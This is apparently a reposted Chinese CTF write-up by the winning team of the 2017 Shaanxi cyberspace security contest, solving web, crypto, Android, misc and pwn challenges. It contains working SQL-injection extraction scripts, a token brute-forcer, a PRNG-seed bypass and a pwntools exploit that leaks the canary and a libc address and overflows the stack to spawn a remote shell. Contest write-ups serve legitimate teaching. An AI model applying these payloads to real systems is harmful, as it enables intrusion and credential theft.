热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【CTF攻略】2017年陕西省网络空间安全技术大赛过关攻略

作者:Mirage预估稿费:500RMB投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿前言为提高大学生的网络安全技术水平,培养大学生的团队协作能力,由陕西省兵工学会主办,西安工业

作者:Mirage

预估稿费:500RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

为提高大学生的网络安全技术水平,培养大学生的团队协作能力,由陕西省兵工学会主办,西安工业大学承办的“2017年第三届陕西省网络空间安全技术大赛”即将于2017年4月15-16日进行线上初赛,2017年5月13日进行线下总决赛。文章为本次大赛第一名的队伍Mirage的writeup。


web


签到题

直接源代码代码审计,php弱类型 然后第二关 构造

key=0; $c=json_encode($b); echo $c; ?>

image

抽抽奖

没有数据传输,因此判断代码在本地。然后在JQuery.js文件里发现JSfuck,解密然后console直接输入getFlag即可

image

继续抽

直接爆破,脚本如下

import requests
import hashlib
def encode(str):
    end = ""
    for s in str:
        if ord(s)<128:
            end+="%x"%(255-(ord(s)+128))
        if ord(s)>127:
            end+="%x"%(255-(ord(s)-128))
    return end
flag = []
for x in range(0,200):
    COOKIEs = {'PHPSESSID': '3k2rd4536me3rjsojf473vctd7'}
    r = requests.get("http://117.34.111.15:81/token.php",COOKIEs=COOKIEs)
    m = hashlib.md5(str(x)).hexdigest()
    print x
    print "http://117.34.111.15:81/get.php?token="+r.text[1:-1]+"&id="+encode(m)
    s = requests.get("http://117.34.111.15:81/get.php?token="+r.text[1:-1]+"&id="+encode(m),COOKIEs=COOKIEs)
    flag.append(s.text)
    print s.text
print set(flag)

image

So easy

代码审计发现 这里没有用escape_string,因此存在注入 可是折腾了好久

function show($username){
  global $conn;
  $sql = "select role from `user` where username ='".$username."'";
  $res = $conn ->query($sql);
  if($res->num_rows>0){
  echo "$username is ".$res->fetch_assoc()['role'];
  }else{
  die("Don't have this user!");
  }
}

然后通过过滤函数,找到了去年sysclover的一篇Writeup 然后才发现我前段时间遇到过这个操作符构造注入了,可是当时比较忙,没时间做,因此技能点没有get

脚本长这样,虽然丑点,但是能跑出passwd

# --coding:utf-8--    import requests
url="http://117.34.111.15:89/?action=show"
passwd=""
lists="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"
for i in xrange(1,33):
    print i
    for p in lists:
        param={'username':"-1'=(ascii(mid((passwd)from("+str(i)+")))="+str(ord(p))+")='0"}
        print requests.post(url,data=param).content
        if "admin" in requests.post(url,data=param).content:
            passwd=passwd+p
            break
print passwd

登陆就是flag 登陆这里的admin判断直接用admin%c2这个去绕过,因为刚前段时间看过ph师傅的最近刚写的文章,然后很快就反应过来了

image

Wrong

随手就出swp文件

  3 error_reporting(0);
  4 function create_password($pw_length =  10)
  5 {
  6 $randpwd = "";
  7 for ($i = 0; $i < $pw_length; $i++)
  8 {
  9 $randpwd .= chr(mt_rand(33, 126));
 10 }
 11 return $randpwd;
 12 }
 13 
 14 session_start();
 15 mt_srand(time());
 16 $pwd=create_password();
 17 
 18 if($pwd==$_GET['pwd'])
 19 {
 20   if($_SESSION['userLogin']==$_GET['login'])
 21 echo "Good job, you get the key";
 22 }
 23 else
 24 {echo "Wrong!";}

刚开始丢给队友做,队友做了好久,然后硬是没刚出来。 看了一下,思路大致如下

$pwd==$_GET['pwd']、$_SESSION['userLogin']==$_GET['login']

两个点,第一个可以通过清空COOKIE,造成NULL==NULL

第二个点则需要本地提前时间生成pwd pwd生成脚本(注:linux时间改成和服务时间一样,时区最好也改了吧,反正我第一次没改时区没有pass)

  1   2 function create_password($pw_length = 10)
  3 {
  4 $randpwd = "";
  5 for($i=0;$i<$pw_length;$i++)
  6 {
  7 $randpwd.=chr(mt_rand(33,126));
  8 }
  9 return $randpwd;
 10 }
 11 echo date("Y-m-d  h:i:sa")."n";
 12 mt_srand(time());
 13 $pwd=create_password();
 14 echo $pwd;
 ?>

image

just a test

不知道是谁,在某个地方插了个弹窗。造成XSS的假象,然后打了一中午,发现什么也没有,就很绝望! 后来队友提醒是不是注入,然后在URL里试了一下真的是注入???exm??? 先把脚本放上

# -*- coding:utf-8 -*-
import requests
import time
flag=""
for j in xrange(1,50):
    for i in xrange(33,127):
        url="http://117.34.111.15:83/chandni-jewel'%20union%20select%20if((select%20ascii(substr(f1ag,"+str(j)+",1))%20from%20test.`fl@g`%20limit%200,1)="+str(i)+",sleep(0.4),1)%2523"
        a=time.time()
        requests.get(url)
        #print time.time()-a
        print '.',
        if time.time()-a>4:
            print chr(i)
            flag=flag+str(chr(j))
            break
print flag
#database() 5 
#database() test
#table1 fl@g
#column f1ag
#http://117.34.111.15:83/chandni-jewel' union select if((select ascii(substr(f1ag," str(j) ",1)) from test.fl@g limit 0,1)=" str(i) ",sleep(0.4),1)%23
#http://117.34.111.15:83/chandni-jewel'%20union%20select%20if((select%20length(column_name)%20from%20information_schema.columns%20limit 1,1)="+str(i)+",sleep(0.4),1)%2523

开始爆Flag始终没有爆出来,又很绝望。 怀疑人生然后把payload放到Bp里结果报错了,才发现表名里有个@,在payload里加个反引号就行了

服务器响应不是很好,跑了很多遍才跑出来flag

image

admin

这题和逆向狗研究了一晚上,只过了第一关。但是题目还是蛮有意思的

hint www.tar.gz

大致浏览看了下功能

刚开始一直想用hitcon 2015的crypt1的思路去伪造登陆,但是后来发现因为在

$token = '';
$user = '';
$admin = 0;
if (isset($_COOKIE['token'])&&isset($_COOKIE['sign'])) {
    $sign = $_COOKIE['sign'];
    $token = $_COOKIE['token'];
    $arr = explode('|', token_decrypt($token));
    if (count($arr) == 3) {
        if (md5(get_indentify().$arr[0]) === $arr[2] && $sign === $arr[2]) {
            $user = $arr[0];
            $admin = (int)$arr[1];
        }
    }
}

有md5校验,因此第一种想法被pass了

然后逆狗想到可以 构造 $username|$admin|$md5+padding 为用户名注册然后修改COOKIE即可伪造登录 因为是CFB模式

image

第二个明文分组的解密只与第一个分组的密文有关,因此可以解出flag的后半段 然而没什么luan用!

比赛结束以后pcat说是压缩包的时间,然后把每个时间都试过去?然而?


Crypto


签到-欢迎来到CSTC2017 10

ZmxhZ3tXZWlTdW9GeXVfQmllTGFuZ30=

签到题, base64 解密,flag : flag{WeiSuoFyu_BieLang}

crypt2 200

通过流量包的分析可以发现有两个人在用相同的N不同的E,发送给服务器,然后返回一段密文

这个时候就公用了一个N,可以使用RSA的共模攻击来解决这个问题。

python
e1 = 3
n1 = 295722865793798033460986793237541395631977030560369657198479193181766567057754287459743723539658396944636677358515648785314565228205230261697963097395812598331880872455869139731578362748460265979187318613591087019956434720952036757300875287830045303192314296720794872499471775336492552983354160440794987630219
c1 = 15839981826811799772634108807452583389456749354145216574984222938829756753294086924872110969732766251541785740757693788214686206806750788561292837339359061701208001297802597
e2 =7 
n2 = 295722865793798033460986793237541395631977030560369657198479193181766567057754287459743723539658396944636677358515648785314565228205230261697963097395812598331880872455869139731578362748460265979187318613591087019956434720952036757300875287830045303192314296720794872499471775336492552983354160440794987630219
c2 = 155249880144094802834481749928592059461139577288355397447367776112547796231086359709731959934830872744121046740255722326833958323017063249153808715277882003426237167195613685868065416967276090907468102632169601247074603247233477582113388294508579159856963458656960060635516531998836585340648309492666005454968
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
print s
n=n1
if s1<0:
    s1 = - s1
    c1 = modinv(c1, n)
elif s2<0:
    s2 = - s2
    c2 = modinv(c2, n)
m=(pow(c1,s1,n)*pow(c2,s2,n)) % n
print hex(m)[2:-1].decode('hex')
跑出来flag为 flag{Hc0mm0nModulusR$AH}


Mobile


拯救鲁班七号 100

先将lib文件导下来,然后用IDA来分析,是将明文经过一系列的替换,然后再与一个字符串进行比对

android1-1.png

这里有一个__android_log_print 帮助我们分析了,我在动态调试里直接使用logcat 输出转换后的格式,然后相对应替换一下位置就可以了。

android1-0.png

需要替换位置的 flag为 S!@#@1FD23154A34

最后flag : flag{!@#@ASDF34511234}

The Marauder's Map 150

用jeb反编译之后 可以看到三串base64

"dGVzdA==" test
"WWVhaH4h";Yeah~!
"dXNlcnM="; users
"Mg=="; 2

还有是对数据库进行了一系列的操作,所以就将数据库文明件test导出。

使用了 SQLite format 3的数据库格式。 分析之后在这个数据库里可以找到几个表名和字段

CREATE TABLE `sqlitebrowser_rename_column_new_table` (
    `userid`    TEXT,
    `age`   int,
    `birthday`  TEXT,
    `id`    INTEGER
)
CREATE TABLE `users1` (
    `userid`    TEXT,
    `age`   INTEGER,
    `birthday`  TEXT,
    `id`    INTEGER
)
CREATE TABLE "users" (
    `userid`    TEXT,
    `age`   int,
    `birthday`  TEXT,
    `id`    INTEGER
)

接下来使用python 脚本提取数据库

import shutil
import sqlite3
conn = sqlite3.connect('test')
for row in conn.execute('select userid, age, birthday,id from users'):
print  row
conn.close()

提取两个表都使用相同的办法,然后就是解密这个birthday字段了。

(u'zhangsan', 21, u'9838e8884968b968c998e838c9a89838e88829', 1)
(u'lisi', 20, u'9838e888496bfda98afdbb98a9b9a9d9cdfa29', 2)
(u'wangwu', 20, u'9838e88849c908780889b8086908a998a8a83829', 3)
(u'maybe', 23, u'9838e88849897808fcc8e818fcb9a8383829', 4)
(u'how', 23, u'9838e8884968b98cc9fce8c9fcc838a8e8d929', 5)
(u'manual', 22, u'9838e88849e8c9fcc8d969c9b9e83829', 6)
(u'how', 24, u'9838e888496a8c28fc1808b9fc28a8c9c968188829', 1)
(u"I've", 23, u'9838e8884918a8a8b8fc6908a9d9fcd838a8c9c968188829', 2)
(u'been', 22, u'9838e88849b908fc386899a8fc98d9a8a829', 3)
(u'wasting', 22, u'9838e88849b808fc68b9fc9808d9fc28a829', 4)
(u'my', 21, u'9838e888496afcc9a818c9a8fc68b929', 5)
(u'time', 18, u'9838e888496afc28a8e818b9fc68b929', 6)

birthday地方经过了加密

android2-1.png

具体的算法在lib.so里,算法也不复杂,就是简单的将已经字符变成了俩字符。

然后写了一个c语言的脚本来暴力跑,可以发现id是2的一个是正确解

#include
#include
int change(int a1)
{
  int v1; // r3@3
  if ( a1 > 9 || a1 < 0 )
  {
if ( a1 <= 9 || a1 > 15 )
  v1 = 255;
else
  v1 = (unsigned __int8)(a1 + 'W');
  }
  else
  {
v1 = (unsigned __int8)(a1 + '0');
  }
  return v1;
}
int main(){
    char flag[]={"9838e888496bfda98afdbb98a9b9a9d9cdfa29"};
    for(int j=0;j        for(int i=0;i<255;i++){
            if(change(~i&0xf)==flag[j]&&change((i>>4)^0xe)==flag[j+1]){
                printf("%c",i);
            }
        }
    }
    return 0;
}

flag : flag{Y0uG0Tfutur3@}

取证密码 200

这一道android也是比较简单的。虽然是有加载库的,但是完全没难度呀

android3-2.png

android3-1.png

简单分析一下他的流程就是

#include
int main(){
    char arr[]={"yInS567!bcNOUV8vwCDefXYZadoPQRGx13ghTpqrsHklm2EFtuJKLzMijAB094W"};
    char index[]={0x39,0x20,7,0xA,0x20,0x29,0x13,2,0x3A,0xC,0x11,0x31,0x3B,0xB,7};
    for(int i=0;i<15;i++){
        printf("%c",arr[index[i]]);
    }
}

如果使用一下动态调试更是分分钟出结果。

flag: flag{A1!N1HenBUCu0O!}

人民的名义-抓捕赵德汉1 200

刚开始看到100分的题目都吓死,出现这个题目的时候真的感觉很简单。

看到有一个md5字符串,直接试了一下没想到就轻松的过了。

android4-2.png

android4-1.png

flag: flag{monkey99}

人民的名义-抓捕赵德汉2 200

相当于jar的逆向,这个题目恶心的地方就是去加混淆了

android5-1.png

具体的算法其实不是很复杂,这里比较重要,但是这里有一个难点就是重写了arraycopy,这里调用了start的main函数。。我在这里去了一下混淆,勉强很够的到字符串,然后经过 ((c>>1)+15) 之后的字符串,这里解密出来为 "JsnatterrtJuaththovacke"

android5-2.png

android5-3.png

写个一个java脚本跑了一下

java
public class test {
    //static String arr1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";    
    //static String arr2 = "ZYXWVUTSRQPONMLKJIHGFEDCBA";
    public static void main(String args[]){
        String arr1 = "JsnatterrtJuaththovacke";
      for(int i=0;i<19;i++){
          if(i==4||i==9||i==14||i==19){
              System.out.print('-');
          }else{
              System.out.print(arr1.charAt(check(i,arr1)));
          }
      }
    }
    public static int check(int i,String arg){
        return te(i)%arg.length();
    }
    public static int te(int i){
        if(i>2){
            return te(i-1)+te(i-2);
        }
        return 1;
    }
}

最后得到flag : flag{sssn-trtk-tcea-akJr}


MISC


一维码 100

给了一个条形码文件,用扫码工具扫一下得到 keyword:hydan

一看这个条形码文件巨大,有500多K,肯定有诈,用stegslove打开

misc1-1.png

选中最低位,在lsb下有ELF文件头,果断保存了这个bin文件,逆向分析了一波,,什么都没有。

这个文件是就是一个tar工具。

然后想到是使用hydan,百度了一下hydan,第一条就是。

乾坤 125

一个流量包文件,直接丢进wireshark分析一波,发现大多是http协议的流量,在 "文件 -> 导出对象" 选择HTTP,查看其传输内容,发现有两个通过邮箱传输的压缩文件。

3.png

点进去查看下,发现是文件名都为flag.zip,但是大小不同的文件。把他们都解压一遍,得到“encode.py”、“flag.exe”两个文件,用winhex查看flag.exe,在其末尾发现编码字符,接下来就是写出对应的解码脚本。脚本如下:

python
from base64 import b64decode
def decode(a):
    a = list(a)
    for j in range(0,len(a)):
        if a[j]=='*':
            a[j]='W'
    for k in range(0,len(a)):
        if a[k]=='_':
            a[k]='1'
    a.reverse()
    flag_1=''.join(a)
    for i in range(0,25):
        flag_1=b64decode(flag_1)
    print flag_1
with open("plaint.txt","r") as f:
    decode(f.read())

轨迹 150

记得X-NUCA的misc专场出过USB的流量分析题

http://bobao.360.cn/learning/detail/3351.html

tshark.exe -r trace.io -T fields -e usb.capdata > usbdata.txt

01:00:00:00:ff:ff:00:00
01:00:00:00:ff:ff:00:00
01:01:01:00:ff:ff:00:00
01:01:01:00:ff:ff:00:00
01:01:01:00:ff:ff:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:02:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:02:00:00:00

跑出来这样的数据。

第一位没什么用,第二位是0代表没有按键,1代表鼠标左击,2代表鼠标右击。

第三第四位 合起来 像word字节,代表水平方向负数、正数代表左右移。

第五第六位 合起来 代表垂直方向上下移动。

直接使用脚本

nums = []
keys = open('usbdata.txt','r')
out = open('data.txt','w')
posx = 60
posy = 10
for line in keys:
    # if len(line) != 12 :
         # continue
    x = int(line[6:8],16)
    y = int(line[12:14],16)
    # print x,y
    if x > 127 :
        x -= 256
    if y > 127 :
        y -= 256
    posx += x
    posy += y
    btn_flag = int(line[3:5],16)  # 1 for left , 2 for right , 0 for nothing
    if btn_flag == 1 :
        out.write( "%d %dn"%(posx ,posy))
keys.close()
out.close()

得到坐标之后

再到kali用 gnuplot 来画图,

misc3-1.png

flag{stego_xatu@}

种棵树吧 100

第一个图片后面连接了一个zip。

解压出一个gif但是少了一点文件头,添加GIF89文件头。然后可以看到一张图片。

misc4-1.png

misc4-2.png

misc4-3.png

第二张图直接看属性

misc4-4.png

就得到 Post-order{YR!eVa-gLAoxdj{pw}8zkUnGuIHh:r65f2lFsEi} In-order{RY!heHVaL-goAI{dxjGpnUw8}kzuEr:s56fFl2i}

hi! HERe Is Your FLAG :flag{n52V-jpU6d_kx8zw}

接下来按照层序排列可以得到flag:flag{n52V-jpU6d_kx8zw}

我们的秘密 250

这一题比较复杂。

先用二进制查看器看了一下压缩包的结构,发现有很多个readme.txt

然后将最底层的一个readme.zip抠出来,试了一下伪加密,是可以过的。

里面是"为提高大学生的网络安全技术水平,培养大学生的团队协作能力,由陕西省兵工学会主办,西安工业大学承办的“2017年第三届陕西省网络空间安全技术大赛”即将于2017年4月15-16日进行线上初赛,2017年5月13日进行线下总决赛。"

然后前面一个zip是真加密,这里我想到了使用zip的明文攻击

跑了我一个多小时才跑出来,,,电脑太差劲了。

misc5-1.png

跑出来是 3xatu2o17

misc5-3.png

解压出三个文件,然后wav的是莫斯电码 解出来是,CTFSECWAR2017

试了一下提交flag然后没过

接下来想到还有一个mp4然后用各种工具去尝试,加密密钥为CTFSECWAR2017。在使用到 OurSecret的时候,结果正确了得到flag

misc5-2.png

flag{v1de0c0nc3a1lala}

什么玩意

这一题初看是一个蓝牙的pin码破解,在github上找到了脚本,BTcrack

《无线网络安全攻防实战进阶》杨哲 写的这一本书中也包含了这一个的讲解。

而且网上也找到了相同的题目文件。

misc6-1.png

同时也获得了 link key 。但是第一个文件 只有数字,,没有这方面的知识完全不会做。。只能够做到这一层了。

misc6-2.png

真的是什么玩意儿!


Bin


Now you see me 200

这个题目我想要打人了。。出题人这样就没有意思了。

在exe的属性里面,放了flag的前半段。就是

bin1-1.png

解密出来为 flag{root@mail:

bin1-2.png

在ida中首先找到了字符串,就是 Verification code:

然后可以使用 OD去跟踪这一部分的代码了。

具体的加密函数为sub_402640。

是使用 有这样的操作,输入的长度为9. 应该都是要输入数字。

然后分成三组,每一组记作a1,a2,a3

(a1+a2)*2-a1 == cmp1
(a2*3)-a2 ==cmp2
(a2*5+a3*2)-a3 == cmp3

比对的数组为 0x0b 0x06 0x15 0x0b 0x04 0x0e 0x16 0x10 0x31

写了一个简单脚本暴力了一下,轻松得到flag

cpp
#include
#include
int main(){
    char flag[]={0x0b ,0x06 ,0x15 ,0x0b ,0x04 ,0x0e ,0x16 ,0x10 ,0x31};
    for(int i=0;i<16;i++){
        for(int j=0;j<16;j++){
            for(int z=0;z<16;z++){
                if(((i+j)*2-i==flag[6])&&(j*3-j==flag[7])&&(j*5+z*2-z)==flag[8]){
                    printf("%d %d %dn",i,j,z);
                }
            }
        }
    }
}

得到536 724 689

所以 flag{root@mail:0IdWan9}

Magical Box 200

首先看了下防护机制

bin3-1.png

然后在IDA中可以看到一个相当明显的格式化字符串漏洞 

bin3-2.png

got表无法修改,但是在栈空间中可以找到canary的值,以及___libc _ start _main函数地址

bin3-3.png

同时对输入的用户名进行了一步异或操作后进行验证

bin3-4.png

bin3-5.png

已经已知了s2,动态调试出了用户名为admin2017c,继续跟下去后发现一个栈溢出漏洞

bin3-6.png

写完EXP后本地能过远程过不了,猜测是__lib_start_main函数的本地偏移与远程不同采取爆破的办法出了flag

bin3-7.png

附上exp

python
from pwn import *
#context(log_level="debug")
#p = process("./pwn_box")
#libc = ELF('libc.so.6')
libc = ELF('libc.so.6_pwnbox')
elf = ELF('pwn_box')
puts_got = 0x0804b030
printf_got = 0x0804b010
def launch_gdb():
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0],"b *0x08048A11nc")
#launch_gdb()
for x in range(240,0xff):
    try:
        print x
        p = remote('117.34.80.134',7777)
        #p = remote('127.0.0.1',10001)
        p.recvuntil("?n")
        p.sendline("%7$x")
        p.recvuntil("!")
        canary = int('0x'+p.recv(8),16)
        #print hex(canary)
        p.recvuntil("?n")
        p.sendline("%43$x")
        p.recvuntil("!")
        libc_start_main_addr = int('0x'+p.recv(8),16)-x
        #print hex(libc_start_main_addr)
        plt =  libc.symbols['__libc_start_main']
        system_addr = libc_start_main_addr- (plt - libc.symbols['system'])
        binsh_addr = libc_start_main_addr- (plt - next(libc.search('/bin/sh')))
        #print hex(system_addr)
        #print hex(binsh_addr)
        p.recvuntil("?n")
        p.sendline("admin2017c")
        p.recvuntil(".nn")
        p.sendline('add')
        p.recvuntil(": ")
        p.sendline("20")
        p.recvuntil(": ")
        p.sendline("a")
        p.recvuntil(": ")   
        payload = 'a'*30 + p32(canary)+'b'*0xc+p32(system_addr)+p32(0)+p32(binsh_addr)
        p.sendline(payload)
        p.interactive()
    except:
        p.close()
        continue
#x=243


推荐阅读
  • EzPP 0.2发布,新增YAML布局渲染功能
    EzPP发布了0.2.1版本,新增了YAML布局渲染功能,可以将YAML文件渲染为图片,并且可以复用YAML作为模版,通过传递不同参数生成不同的图片。这个功能可以用于绘制Logo、封面或其他图片,让用户不需要安装或卸载Photoshop。文章还提供了一个入门例子,介绍了使用ezpp的基本渲染方法,以及如何使用canvas、text类元素、自定义字体等。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • Day2列表、字典、集合操作详解
    本文详细介绍了列表、字典、集合的操作方法,包括定义列表、访问列表元素、字符串操作、字典操作、集合操作、文件操作、字符编码与转码等内容。内容详实,适合初学者参考。 ... [详细]
  • 本文介绍了使用cacti监控mssql 2005运行资源情况的操作步骤,包括安装必要的工具和驱动,测试mssql的连接,配置监控脚本等。通过php连接mssql来获取SQL 2005性能计算器的值,实现对mssql的监控。详细的操作步骤和代码请参考附件。 ... [详细]
  • 本文介绍了在使用FIS配置过程中遇到的问题以及解决方法。作者发现在配置roadmap时使用命令行参数出现了诡异现象,uglify了js文件后,html中对js的引用没有被修改。经过多次尝试和验证,联系了FIS开发人员后才得知,使用fis.config.merge会导致一些问题。通过将fis.config.merge改为fis.config.get('roadmap.path').unshift()来添加配置,问题得以解决。文章指出FIS官方文档解释不够详细,提供了解决问题的方法。 ... [详细]
  • EPPlus绘制刻度线的方法及示例代码
    本文介绍了使用EPPlus绘制刻度线的方法,并提供了示例代码。通过ExcelPackage类和List对象,可以实现在Excel中绘制刻度线的功能。具体的方法和示例代码在文章中进行了详细的介绍和演示。 ... [详细]
  • YOLOv7基于自己的数据集从零构建模型完整训练、推理计算超详细教程
    本文介绍了关于人工智能、神经网络和深度学习的知识点,并提供了YOLOv7基于自己的数据集从零构建模型完整训练、推理计算的详细教程。文章还提到了郑州最低生活保障的话题。对于从事目标检测任务的人来说,YOLO是一个熟悉的模型。文章还提到了yolov4和yolov6的相关内容,以及选择模型的优化思路。 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • 使用Ubuntu中的Python获取浏览器历史记录原文: ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • sklearn数据集库中的常用数据集类型介绍
    本文介绍了sklearn数据集库中常用的数据集类型,包括玩具数据集和样本生成器。其中详细介绍了波士顿房价数据集,包含了波士顿506处房屋的13种不同特征以及房屋价格,适用于回归任务。 ... [详细]
  • 本文介绍了在Vue项目中如何结合Element UI解决连续上传多张图片及图片编辑的问题。作者强调了在编码前要明确需求和所需要的结果,并详细描述了自己的代码实现过程。 ... [详细]
  • IjustinheritedsomewebpageswhichusesMooTools.IneverusedMooTools.NowIneedtoaddsomef ... [详细]
author-avatar
青末老大_660
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有